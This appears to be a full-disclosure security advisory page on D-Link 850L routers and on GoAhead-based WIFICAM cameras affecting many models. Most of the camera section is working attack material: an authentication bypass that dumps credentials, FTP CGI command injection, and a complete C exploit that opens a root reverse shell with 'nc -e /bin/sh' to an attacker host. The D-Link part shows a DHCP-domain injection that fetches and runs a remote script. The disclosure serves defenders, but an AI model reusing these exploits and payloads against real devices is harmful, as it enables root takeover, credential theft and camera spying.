xmldbc -s /runtime/inf:2/dhcps4/pool/router 192.168.7.1
event UPDATELEASES.LAN-2 add "@/etc/events/UPDATELEASES.sh LAN-2 /var/servd/LAN-2-udhcpd.lease"
udhcpd /var/servd/LAN-2-udhcpd.conf &
exit 0
exit 0
#
Bonus point: this attack will be relayed to internal clients using the dhcp server running inside the router. So if you connect a vulnerable Dlink router to the internal network, it will be pwned too:
# ps -w|grep dhcpd
6543 root 984 S udhcpd /var/servd/LAN-1-udhcpd.conf
6595 root 984 S udhcpd /var/servd/LAN-2-udhcpd.conf
The /runtime/inf:{1,2}/dhcps4/pool/domain
entries in the /var/servd/LAN-{1,2}-udhcpd.conf
files contain the rogue domain value:
# cat /var/servd/LAN-1-udhcpd.conf
remaining no
start 192.168.0.100
end 192.168.0.199
interface br0
lease_file /var/servd/LAN-1-udhcpd.lease
pidfile /var/servd/LAN-1-udhcpd.pid
force_bcast no
opt subnet 255.255.255.0
opt domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;
^^^^^^^^^^^^ this domain will be provided to clients connected on the LAN,
possibly infecting other dlink routers \o/
opt router 192.168.0.1
opt dns 192.168.0.1
opt lease 604800
dhcp_helper event UPDATELEASES.LAN-1
# cat /var/servd/LAN-2-udhcpd.conf
remaining no
start 192.168.7.100
end 192.168.7.199
interface br1
lease_file /var/servd/LAN-2-udhcpd.lease
pidfile /var/servd/LAN-2-udhcpd.pid
force_bcast no
opt subnet 255.255.255.0
opt domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re
^^^^^^^^^^^^ this domain will be provided to clients connected on the LAN,
possibly infecting other dlink routers \o/
opt router 192.168.7.1
opt dns 192.168.7.1
opt lease 604800
dhcp_helper event UPDATELEASES.LAN-2
#
It appears some daemons running in the routers (revA and revB) can be crashed remotely from the LAN. As it doesn't provide further remote privileges to an attacker, this is only for information and was not detailed.
Due to difficulties in previous exchange with Dlink, Full-disclosure is applied. Their previous lack of consideration about security made me publish this research without coordinated disclosure.
I advise to IMMEDIATELY DISCONNECT vulnerable routers from the Internet.
These vulnerabilities were found by Pierre Kim (@PierreKimSec).
Big thanks to Alexandre Torres.
https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html
https://pierrekim.github.io/advisories/2017-dlink-0x00-dlink-850l-cloud.txt
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
My presentation slides about Owning embedded devices and network protocols at Zer0con in April 2017, are finally online! Some parts had to be redacted. It appears a lot of 0day vulnerabilities have not been patched yet.
You can fetch the slides here.
Update about the last slide: KT, a Korean ISP, was present during the zer0con presentation and provided patches against security problems I had reported.
This research is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
TL;DR: by analysing the security of a camera, I found a pre-auth RCE as root against 1250 camera models. Shodan lists 185 000 vulnerable cameras. The "Cloud" protocol establishes clear-text UDP tunnels (in order to bypass NAT and firewalls) between an attacker and cameras by using only the serial number of the targeted camera. Then, the attacker can automaticaly bruteforce the credentials of cameras.
The Wireless IP Camera (P2P) WIFICAM is a Chinese web camera which allows to stream remotely.
The Wireless IP Camera (P2) WIFICAM is a camera overall badly designed with a lot of vulnerabilities. This camera is very similar to a lot of other Chinese cameras.
It seems that a generic camera is being sold by a Chinese company in bulk (OEM) and the buyer companies resell them with custom software development and specific branding. Wireless IP Camera (P2) WIFICAM is one of the branded cameras.
So, cameras are sold under different names, brands and functions. The HTTP interface is different for each vendor but shares the same vulnerabilities. The OEM vendors used a custom version of GoAhead and added vulnerable code inside.
GoAhead stated that GoAhead itself is not affected by the vulnerabilities but the OEM vendor who did the custom and specific development around GoAhead is responsible for the cause of vulnerabilities.
Because of code reusing, the vulnerabilities are present in a huge list of cameras (especially the InfoLeak and the RCE), which allow to execute root commands against 1250+ camera models with a pre-auth vulnerability.
The summary of the vulnerabilities is:
The vulnerabilities in the Cloud management affect a lot of P2P or "Cloud" cameras.
My tests have shown that the InfoLeak affecting the custom http server running on the camera affects at least 1250+ camera models. It can be used to execute the RCE as root. Thus, these cameras are likely affected by a pre-auth RCE as root:
Update (Mar 16, 2017): Following the strong requests from a specific vendor,
the complete list of 1250 affected camera models has been removed.
Shodan lists 185 000 vulnerable cameras.
By default, telnetd is running on the camera.
user@kali$ telnet 192.168.1.107
Trying 192.168.1.107...
Connected to 192.168.1.107.
Escape character is '^]'.
apk-link login: admin
Password:
telnet> q
Connection closed.
user@kali$
One backdoor account exists in the camera:
root:$1$ybdHbPDn$ii9aEIFNiolBbM9QxW9mr0:0:0::/root:/bin/sh
The /system/www/pem/ck.pem
contains an Apple certificate with a private RSA key:
/ # cat /system/www/pem/ck.pem
Bag Attributes
friendlyName: Apple Production IOS Push Services: com.app.camera
localKeyID: 74 9E 29 D0 6A 47 1B 35 AD D4 68 6D 46 D8 E2 37 C8 DA A1 9D
subject=/UID=com.app.camera/CN=Apple Production IOS Push Services: com.app.camera/OU=SQ6NNPBE2K/C=US
issuer=/C=US/O=Apple Inc./OU=Apple Worldwide Developer Relations/CN=Apple Worldwide Developer Relations Certification Authority
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
Bag Attributes
friendlyName: andrew
localKeyID: 74 9E 29 D0 6A 47 1B 35 AD D4 68 6D 46 D8 E2 37 C8 DA A1 9D
Key Attributes: <No Attributes>
-----BEGIN RSA PRIVATE KEY-----
[...]
-----END RSA PRIVATE KEY-----
The HTTP interface is provided by a custom http server. This HTTP server is in fact based on GoAhead and was modified by the OEM vendor of the cameras (which resulted in the listed vulnerabilities). It allows 2 kinds of authentication:
?loginuse=LOGIN&?loginpas=PASS
).By default, the web directory contains symbolic links to configuration files (system.ini
and system-b.ini
contain credentials):
/tmp/web # ls -la *ini
lrwxrwxrwx 1 root 0 25 Oct 27 02:11 factory.ini -> /system/param/factory.ini
lrwxrwxrwx 1 root 0 30 Oct 27 02:11 factoryparam.ini -> /system/param/factoryparam.ini
lrwxrwxrwx 1 root 0 23 Oct 27 02:11 network-b.ini -> /system/www/network.ini
lrwxrwxrwx 1 root 0 23 Oct 27 02:11 network.ini -> /system/www/network.ini
lrwxrwxrwx 1 root 0 22 Oct 27 02:11 system-b.ini -> /system/www/system.ini
lrwxrwxrwx 1 root 0 22 Oct 27 02:11 system.ini -> /system/www/system.ini
/tmp/web #
With valid credentials, an attacker can retrieve the configuration, as shown below:
user@kali$ wget -qO- 'http://admin:admin@192.168.1.107/system.ini'|xxd
[...]
000001d0: ffff ffff ffff ffff ffff ffff ffff ffff ................
000001e0: ffff ffff ffff ffff ffff ffff ffff ffff ................
000001f0: ffff ffff ffff ffff ffff ffff ffff ffff ................
00000200: ffff ffff ffff ffff ffff ffff ffff ffff ................
00000210: ffff ffff ffff ffff ffff ffff 7b6f 1158 ............{o.X
00000220: 0000 0000 0100 0000 7469 6d65 2e6e 6973 ........time.nis
00000230: 742e 676f 7600 0000 0000 0000 0000 0000 t.gov...........
00000240: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000250: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000260: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000270: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000280: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000290: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000002a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000002b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000002c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
[...]
00000640: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000650: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000660: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000670: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000680: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000690: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin...........
000006a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin...........
000006c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006d0: 030a 0a0f 8000 0000 0101 0003 0002 0000 ................
[...]
user@kali$
To browse .cgi
files, an attacker needs to authenticate too:
user@kali$ wget -qO- 'http://192.168.1.107/get_params.cgi?loginuse=BAD_LOGIN&loginpas=BAD_PASS'
var result="Auth Failed";
user@kali$ wget -qO- 'http://192.168.1.107/get_params.cgi?loginuse&loginpas'
var result="Auth Failed";
But it appears access to .ini
files are not correctly checked. The attacker can bypass the authentication
by providing an empty loginuse
and an empty loginpas
in the URI:
user@kali$ wget -qO- 'http://192.168.1.107/system.ini?loginuse&loginpas'|xxd|less
00000000: 5749 4649 4341 4d00 0000 0000 0000 0000 WIFICAM.........
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0100 0000 0000 0000 0000 0000 0000 ................
[...]
00000690: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin...........
000006a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin...........
[...]
A PoC is provided:
./expl 192.168.1.107 --get-config | xxd | grep 000003
00000030: 6d53 6563 0a0a 5b2b 5d20 6279 7061 7373 mSec..[+] bypass
00000300: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000310: 0000 0000 0000 0000 0000 0000 0a0a 0a0a ................
00000320: 0100 0000 0a03 0100 0000 0000 0000 0000 ................
00000330: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000340: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000360: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000370: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000380: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000390: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000003a0: 0000 0000 0000 0000 0000 6164 6d69 6e00 ..........admin.
000003b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000003c0: 0000 0000 0000 0000 0000 6164 6d69 6e00 ..........admin.
000003d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000003e0: 0000 0000 0000 0000 0000 030a 0a0f 8000 ................
000003f0: 0000 0101 0003 0002 0000 0080 8080 8001 ................
This vulnerability allows an attacker to steal credentials, ftp accounts and smtp accounts (email).
A RCE exists in the ftp configuration CGI. This is well-documented as shown here and here in several different camera models.
The partition /
is mounted in Read-Only, so modifications are not possible in this partition.
The command injection is located in in set_ftp.cgi
(see $(ftp x.com)
):
http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(ftp x.com)ftp&dir=/&mode=PORT&upload_interval=0
http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin
When doing a tcpdump, we can see the DNS resolution for x.com:
00:00:00.151107 IP 192.168.1.107.33551 > 8.8.8.8.53: 40888+ A? x.com. (23)
so, ftp x.com
is executed.
We can use the telnetd binary to start an authenticated-less telnetd access:
user@kali$ wget -qO- 'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0'
user@kali$ wget -qO- 'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin'
Testing this will give us root account on port 25/tcp:
user@kali$ telnet 192.168.1.107 25
Trying 192.168.1.107...
Connected to 192.168.1.107.
Escape character is '^]'.
/ # id
uid=0(root) gid=0
/ # uname -ap
Linux apk-link 3.10.14 #5 PREEMPT Thu Sep 22 09:11:41 CST 2016 mips GNU/Linux
/ # mount
rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
/proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
tmpfs on /dev type tmpfs (rw,relatime,size=2048k)
tmpfs on /tmp type tmpfs (rw,relatime,size=5120k)
devpts on /dev/pts type devpts (rw,relatime,mode=600,ptmxmode=000)
/dev/mtdblock3 on /system type jffs2 (rw,relatime)
/ #
/etc
is in read-only. So, command injection must not write into /etc
. The injection is located in /tmp/ftpupload.sh
:
/ # cat /tmp/ftpupload.sh
/bin/ftp -n<<!
open 192.168.1.1 21
user ftp $(telnetd -l /bin/sh -p 25)ftp
binary
lcd /tmp
put ftptest.txt
close
bye
!
/ #
By combining the Pre-Auth Info Leak within the custom http server vulnerability and then authenticated RCE as root, an attacker can achieve a pre-auth RCE as root on a LAN or on the Internet.
An exploit is provided and can be used to get a root RCE with connect-back.
The exploit will:
nc
It affects 1250+ camera models.
Demo:
user@kali$ gcc -Wall -o expl expl-goahead-camera.c && ./expl 192.168.1.107
Camera 0day root RCE with connect-back @PierreKimSec
Please run `nc -vlp 1337` on 192.168.1.1
[+] bypassing auth ... done
login = admin
pass = admin
[+] planting payload ... done
[+] executing payload ... done
[+] cleaning payload ... done
[+] cleaning payload ... done
[+] enjoy your root shell on 192.168.1.1:1337
user@kali$
On the second xterm:
user@kali$ nc -lvp 1337
listening on [any] 1337 ...
192.168.1.107: inverse host lookup failed: Unknown host
connect to [192.168.1.1] from (UNKNOWN) [192.168.1.107] 47968
id
uid=0(root) gid=0
uname -ap
Linux apk-link 3.10.14 #5 PREEMPT Thu Sep 22 09:11:41 CST 2016 mips GNU/Linux
ps
PID USER TIME COMMAND
1 root 0:01 {linuxrc} init
2 root 0:00 [kthreadd]
3 root 0:00 [ksoftirqd/0]
5 root 0:00 [kworker/0:0H]
6 root 0:00 [kworker/u2:0]
7 root 0:00 [rcu_preempt]
8 root 0:00 [rcu_bh]
9 root 0:00 [rcu_sched]
10 root 0:00 [watchdog/0]
11 root 0:00 [khelper]
12 root 0:00 [writeback]
13 root 0:00 [bioset]
14 root 0:00 [kblockd]
15 root 0:00 [khubd]
16 root 0:00 [kworker/0:1]
17 root 0:00 [cfg80211]
18 root 0:00 [rpciod]
19 root 0:00 [kswapd0]
20 root 0:00 [fsnotify_mark]
21 root 0:00 [nfsiod]
22 root 0:00 [crypto]
36 root 0:00 [kworker/u2:1]
39 root 0:00 [i2s_work_1]
40 root 0:00 [i2s_codec_irq_w]
41 root 0:00 [kworker/0:2]
42 root 0:00 [deferwq]
43 root 0:00 [kworker/0:1H]
59 root 0:00 [jffs2_gcd_mtd3]
61 root 0:00 telnetd
69 root 0:00 /system/system/bin/wifidaemon
70 root 0:00 /sbin/getty -L ttyS1 115200 vt100
98 root 0:01 [RtmpTimerTask]
99 root 0:00 [RtmpMlmeTask]
100 root 0:00 [RtmpCmdQTask]
101 root 0:00 [RtmpWscTask]
148 root 1:19 /tmp/encoder
164 root 0:00 [irq/37-isp]
236 root 0:07 [apical_isp_fw_p]
2330 root 0:00 sh -c /tmp/ftpupload.sh > /tmp/ftpret.txt
2331 root 0:00 {exe} ash /tmp/ftpupload.sh
2332 root 0:00 {exe} ash /tmp/ftpupload.sh
2333 root 0:00 /bin/ftp -n
2334 root 0:00 /bin/sh
2439 root 0:00 ps
A working exploit is provided:
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #define CAM_PORT 80 #define REMOTE_HOST "192.168.1.1" #define REMOTE_PORT "1337" #define PAYLOAD_0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc%20" REMOTE_HOST "+" REMOTE_PORT "%20-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" #define PAYLOAD_1 "GET /ftptest.cgi?next_url=test_ftp.htm&loginuse=%s&loginpas=%s\r\n\r\n" #define PAYLOAD_2 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=passpasspasspasspasspasspasspasspass&dir=/&mode=PORT&upload_interval=0\r\n\r\n" #define ALTERNATIVE_PAYLOAD_zero0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc+" REMOTE_HOST "+" REMOTE_PORT "+-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" #define ALTERNATIVE_PAYLOAD_zero1 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(wget+http://" REMOTE_HOST "/stufz&&./stuff)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" char * creds(char *argv, int get_config); int rce(char *argv, char *id, char attack[], char desc[]); int main(int argc, char **argv, char **envp) { char *id; printf("Camera 0day root RCE with connect-back @PierreKimSec\n\n"); if (argc < 2) { printf("%s target\n", argv[0]); printf("%s target --get-config will dump the configuration and exit\n", argv[0]); return (1); } if (argc == 2) printf("Please run `nc -vlp %s` on %s\n\n", REMOTE_PORT, REMOTE_HOST); if (argc == 3 && !strcmp(argv[2], "--get-config")) id = creds(argv[1], 1); else id = creds(argv[1], 0); if (id == NULL) { printf("exploit failed\n"); return (1); } printf("done\n"); printf(" login = %s\n", id); printf(" pass = %s\n", id + 32); if (!rce(argv[1], id, PAYLOAD_0, "planting")) printf("done\n"); sleep(1); if (!rce(argv[1], id, PAYLOAD_1, "executing")) printf("done\n"); if (!rce(argv[1], id, PAYLOAD_2, "cleaning")) printf("done\n"); if (!rce(argv[1], id, PAYLOAD_1, "cleaning")) printf("done\n"); printf("[+] enjoy your root shell on %s:%s\n", REMOTE_HOST, REMOTE_PORT); return (0); } char * creds(char *argv, int get_config) { int sock; int n; struct sockaddr_in serv_addr; char buf[8192] = { 0 }; char *out; char *tmp; char payload[] = "GET /system.ini?loginuse&loginpas HTTP/1.0\r\n\r\n"; int old_n; int n_total; sock = 0; n = 0; old_n = 0; n_total = 0; printf("[+] bypassing auth ... "); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error while creating socket\n"); return (NULL); } memset(&serv_addr, '0', sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(CAM_PORT); if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0) { printf("Error while inet_pton\n"); return (NULL); } if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0) { printf("creds: connect failed\n"); return (NULL); } if (send(sock, payload, strlen(payload) , 0) < 0) { printf("creds: send failed\n"); return (NULL); } if (!(tmp = malloc(10 * 1024 * sizeof(char)))) return (NULL); if (!(out = calloc(64, sizeof(char)))) return (NULL); while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) { n_total += n; if (n_total < 1024 * 10) memcpy(tmp + old_n, buf, n); if (n >= 0) old_n = n; } close(sock); /* [ HTTP HEADERS ] ... 000????: 0000 0a0a 0a0a 01.. .... .... .... .... ^^^^ ^^^^ ^^ Useful reference in the binary data in order to to find the positions of credentials ... ... 0000690: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin........... 00006a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin........... 00006c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ ... NOTE: reference can be too: 000????: 0006 0606 0606 0100 000a .... .... .... Other method: parse everything, find the "admin" string and extract the associated password by adding 31bytes after the address of 'a'[dmin]. Works if the login is admin (seems to be this by default, but can be changed by the user) */ if (get_config) { for (unsigned int j = 0; j < n_total && j < 10 * 1024; j++) printf("%c", tmp[j]); exit (0); } for (unsigned int j = 50; j < 10 * 1024; j++) { if (tmp[j - 4] == 0x0a && tmp[j - 3] == 0x0a && tmp[j - 2] == 0x0a && tmp[j - 1] == 0x0a && tmp[j] == 0x01) { if (j + 170 < 10 * 1024) { strcat(out, &tmp[j + 138]); strcat(out + 32 * sizeof(char), &tmp[j + 170]); free(tmp); return (out); } } } free(tmp); return (NULL); } int rce(char *argv, char *id, char attack[], char desc[]) { int sock; struct sockaddr_in serv_addr; char *payload; if (!(payload = calloc(512, sizeof(char)))) return (1); sock = 0; printf("[+] %s payload ... ", desc); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error while creating socket\n"); return (1); } memset(&serv_addr, '0', sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(CAM_PORT); if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0) { printf("Error while inet_pton\n"); return (1); } if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0) { printf("rce: connect failed\n"); return (1); } sprintf(payload, attack, id, id + 32); if (send(sock, payload, strlen(payload) , 0) < 0) { printf("rce: send failed\n"); return (1); } return (0); }
Alternatively, you can fetch it at https://pierrekim.github.io/advisories/expl-goahead-camera.c.
An attacker can use the authenticated-less RTSP server running on the camera on port 10554/tcp
to watch the streaming without authentication.
user@kali$ vlc rstp://192.168.1.107:10554/tcp/av0_1
And:
user@kali$ vlc rstp://192.168.1.107:10554/tcp/av0_0
By default, the camera uses a 'Cloud' functionality.
You can tcpdump the traffic of the camera, which is very scary:
12:09:21.410947 IP 192.168.1.107.46958 > 8.8.8.8.53: 60806+ A? openapi.xg.qq.com.gateway. (43)
12:09:26.429697 IP 192.168.1.107.58156 > 202.96.134.33.53: 60806+ A? openapi.xg.qq.com.gateway. (43)
12:09:31.450033 IP 192.168.1.107.41499 > 8.8.8.8.53: 28561+ A? www.baidu.com. (31)
12:09:35.128919 IP 192.168.1.107.13179 > 121.42.208.86.32100: UDP, length 48
12:09:35.128932 IP 192.168.1.107.13179 > 54.221.213.97.32100: UDP, length 48
12:09:35.128933 IP 192.168.1.107.13179 > 120.24.37.48.32100: UDP, length 48
12:09:36.468849 IP 192.168.1.107.44185 > 202.96.134.33.53: 28561+ A? www.baidu.com. (31)
12:09:41.488223 IP 192.168.1.107.41499 > 8.8.8.8.53: 28561+ A? www.baidu.com. (31)
12:09:46.507810 IP 192.168.1.107.44185 > 202.96.134.33.53: 28561+ A? www.baidu.com. (31)
12:09:51.527501 IP 192.168.1.107.47793 > 8.8.8.8.53: 33930+ A? www.baidu.com.gateway. (39)
12:09:56.546854 IP 192.168.1.107.53618 > 202.96.134.33.53: 33930+ A? www.baidu.com.gateway. (39)
12:10:01.566316 IP 192.168.1.107.47793 > 8.8.8.8.53: 33930+ A? www.baidu.com.gateway. (39)
12:10:06.575735 ARP, Request who-has 192.168.1.1 tell 192.168.1.107, length 46
12:10:06.575750 ARP, Reply 192.168.1.1 is-at 00:e0:4c:51:55:ed, length 28
12:10:06.585841 IP 192.168.1.107.53618 > 202.96.134.33.53: 33930+ A? www.baidu.com.gateway. (39)
12:10:11.606030 IP 192.168.1.107.46252 > 8.8.8.8.53: 41046+ A? time.nist.gov. (31)
12:10:16.625044 IP 192.168.1.107.44109 > 202.96.134.33.53: 41046+ A? time.nist.gov. (31)
12:10:19.214687 IP 192.168.1.107.13179 > 121.42.208.86.32100: UDP, length 48
12:10:19.214700 IP 192.168.1.107.13179 > 54.221.213.97.32100: UDP, length 48
12:10:19.214702 IP 192.168.1.107.13179 > 120.24.37.48.32100: UDP, length 48
12:10:21.644397 IP 192.168.1.107.46252 > 8.8.8.8.53: 41046+ A? time.nist.gov. (31)
The camera tries to resolve www.baidu.com
, openapi.xg.qq.com
, contacts hardcoded IPs and hosts:
121.42.208.86:32100/udp
(CN: Alibaba),54.221.213.97:32100/udp
(AWS US),120.24.37.48:32100/udp
(CN: Alibaba),www.baidu.com:80/tcp
(CN: Baidu).It appears this is the 'Cloud' functionality, enabled by default. The security of this functionality is not proven.
The provided Android application to manage my camera is object.p2pwificam.client.apk.
Netcam 360 works too:
It appears, the network protocol is very weak:
[Android Application] <===UDP===> Cloud server <===UDP===> [Camera]
Then, the UDP tunnel is used by the application to reach the camera:
1/ the client will send a HTTP request to the camera with the credentials (still in clear-text)
GET check_user.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin&
or
GET /check_user.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin&
2/ the camera will reply by using HTTP over UDP whenever the credentials are valid or invalid.
If the credentials are valid, the camera will reply:
result= 0;
If the credentials are not valid, the camera will reply:
result=-1
3/ if the credentials are valid, then the application will send HTTP requests to .cgi files hosted by the camera by appending credentials to the requests (?loginuse=valid_user&loginpas=valid_pass
)
If the authentication is OK, so it is alright to dump all the configuration in cleartext!
Note: this trace was done with one of the application listed below, to be sure applications are sharing the same "cloud" network (it appears the daemon running on the camera doesn't strictly respect the HTTP protocol - note the lack of /
- but it works !).
If the authentication is not OK. The cameras answers:
result=-1;
Due to the absence of checking, an attacker can simply bruteforce credentials.
The application sends:
GET get_params.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin&
OR
GET /get_params.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin&
The camera replies by sending all its configuration in clear-text:
var now=1122211111;
var dst_enable=0;
var dst_time=0;
var tz=0;
var ntp_enable=1;
var ntp_svr="time.nist.gov";
var dhcpen=1;
var ip="192.168.2.76";
var mask="255.255.255.0";
var gateway="192.168.2.1";
var dns1="8.8.8.8";
var dns2="192.168.2.1";
var port=80;
var nashost="";
var nasport=0;
var dev2_host="";
var dev2_alias="";
var dev2_user="";
var dev2_pwd="";
var dev2_port=0;
var dev3_host="";
var dev3_alias="";
var dev3_user="";
var dev3_pwd="";
var dev3_port=0;
var dev4_host="";
var dev4_alias="";
var dev4_user="";
var dev4_pwd="";
var dev4_port=0;
var dev5_host="";
var dev5_alias="";
var dev5_user="";
var dev5_pwd="";
var dev5_port=0;
var dev6_host="";
var dev6_alias
[...]
var user1_name="";
var user1_pwd="";
var user2_name="wut";
var user2_pwd="wut";
var user3_name="admin";
var user3_pwd="admin";
[...]
This is interesting because an attacker can reach a camera only by knowing a serial number. The UDP tunnel between the attacker and the camera is established even if the attacker doesn't know the credentials. It's useful to note the tunnel bypasses NAT and firewall, allowing the attacker to reach internal cameras (if they are connected to the Internet) and to bruteforce credentials. Then, the attacker can just try to bruteforce credentials of the camera:
GET /get_params.cgi?&loginuse=admin&loginpas=TEST&user=admin&pwd=TEST&
This protocol appears to be common to a lot of Android applications, ie:
This list is very far from being complete.
So, I modified the original Android Application in order to try the pre-auth Info-Leak vulnerability:
k% ls -la
total 14912
drwx------ 2 nobody nogroup 100 Mar 7 08:27 .
drwxrwxrwt 3 root root 140 Mar 7 08:25 ..
-rwx------ 1 nobody nogroup 2319 Mar 7 08:25 apktool
-rwx------ 1 nobody nogroup 8488199 Mar 7 08:25 apktool.jar
-rwx------ 1 nobody nogroup 6773051 Mar 7 08:25 object.p2pwificam.client.apk
k% ./apktool d object.p2pwificam.client.apk
I: Using Apktool 2.2.2 on object.p2pwificam.client.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
S: WARNING: Could not write to $HOME (/nonexistent), using /tmp instead...
S: Please be aware this is a volatile directory and frameworks could go missing, please utilize --frame-path if the default storage directory is unavailable
I: Loading resource table from file: /tmp/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
k%
I edit the library which manages all the custom HTTP requests.
One of the interesting string is GET /%sloginuse=%s&loginpas=%s&user=%s&pwd=%s
:
k% xxd ./object.p2pwificam.client/lib/armeabi/libobject_jni.so
0001f650: 3d3d 3d3d 3d3d 3d3d 0000 0000 4745 5420 ========....GET
0001f660: 2f25 736c 6f67 696e 7573 653d 2573 266c /%sloginuse=%s&l
0001f670: 6f67 696e 7061 733d 2573 2675 7365 723d oginpas=%s&user=
0001f680: 2573 2670 7764 3d25 7326 0000 4449 443a %s&pwd=%s&..DID:
0001f690: 2025 732c 2063 6769 5f67 6574 5f63 6f6d %s, cgi_get_com
0001f6a0: 6d6f 6e3a 2025 7300 5050 5050 5f43 6f6e mon: %s.PPPP_Con
0001f6b0: 6e65 6374 2062 6567 696e 2e2e 2e25 7300 nect begin...%s.
0001f6c0: 5050 5050 5f43 6f6e 6e65 6374 2066 6169 PPPP_Connect fai
0001f6d0: 6c65 642e 2e20 2573 2072 6574 7572 6e3a led.. %s return:
0001f6e0: 2025 6400 5265 436f 6e6e 6563 7443 6f75 %d.ReConnectCou
0001f6f0: 6e74 3a20 2564 0a00 5050 5050 5f43 6f6e nt: %d..PPPP_Con
0001f700: 6e65 6374 2073 7563 6365 7373 2e2e 2e6d nect success...m
0001f710: 5f68 5365 7373 696f 6e48 616e 646c 653a _hSessionHandle:
After the modification:
0001f650: 3d3d 3d3d 3d3d 3d3d 0000 0000 4745 5420 ========....GET
0001f660: 2f73 7973 7465 6d2e 696e 693f 6c6f 6769 /system.ini?logi
0001f670: 6e75 7365 266c 6f67 696e 7061 7373 2678 nuse&loginpass&x
0001f680: 7878 7878 7878 7878 7826 0000 4449 443a xxxxxxxxx&..DID:
0001f690: 2025 732c 2063 6769 5f67 6574 5f63 6f6d %s, cgi_get_com
0001f6a0: 6d6f 6e3a 2025 7300 5050 5050 5f43 6f6e mon: %s.PPPP_Con
0001f6b0: 6e65 6374 2062 6567 696e 2e2e 2e25 7300 nect begin...%s.
0001f6c0: 5050 5050 5f43 6f6e 6e65 6374 2066 6169 PPPP_Connect fai
Then, let's repack and sign the .apk:
k% ./apktool b object.p2pwificam.client
